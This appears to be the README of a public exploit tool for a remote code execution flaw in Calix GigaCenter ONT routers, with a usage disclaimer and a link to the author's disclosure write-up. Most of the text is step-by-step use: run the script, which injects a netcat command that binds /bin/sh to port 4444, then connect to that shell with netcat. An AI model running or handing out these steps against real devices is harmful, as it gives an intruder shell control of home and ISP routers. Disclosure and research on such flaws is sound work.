Remote Code Execution (RCE) exploit targeting Calix Gigacenter ONT routers, specifically tested on the Calix 844G-1 model. This exploit takes advantage of a zero-day vulnerability discovered in February 2025, now assigned as CVE-2025-54084. The affected routers are: Calix GigaCenter ONT 844E, 844G, 844GE, and 854GE. Finally, there are 4 more zero days discovered, if do you want to read more deatils about this RCE vulnerability and the another zero days, check the post: https://revers3everything.com/calix-case-five-0-days-five-cves/
This tool is intended only for educational and ethical hacking purposes.
Do not use it against any device without explicit authorization.
The author is not responsible for any misuse.
Only one dependency is required:
pip install requestsRun the exploit script:
python3 rce-calix-gigacenter.pyOnce executed, the exploit will inject the following command into the vulnerable router:
nc -l -p 4444 -e /bin/sh &You will see a message like:
Backdoor into the router, try to connect with netcat to the port 4444!
Then, connect to the reverse shell with netcat:
nc 169.254.1.2 4444Enjoy your shell!
- Zero-day discovered: February 2025
- CVE Public disclosure: September 9 2025 demo-exploit
Danilo Erazo (@revers3vrything)
Hardware Security Researcher and Speaker at:
- Hardwear.io USA 2025
- DEFCON 32, DEFCON33
- Ekoparty 2024 & 2023
- Re//verse 2025, etc
© 2025 Danilo Erazo (@revers3vrything)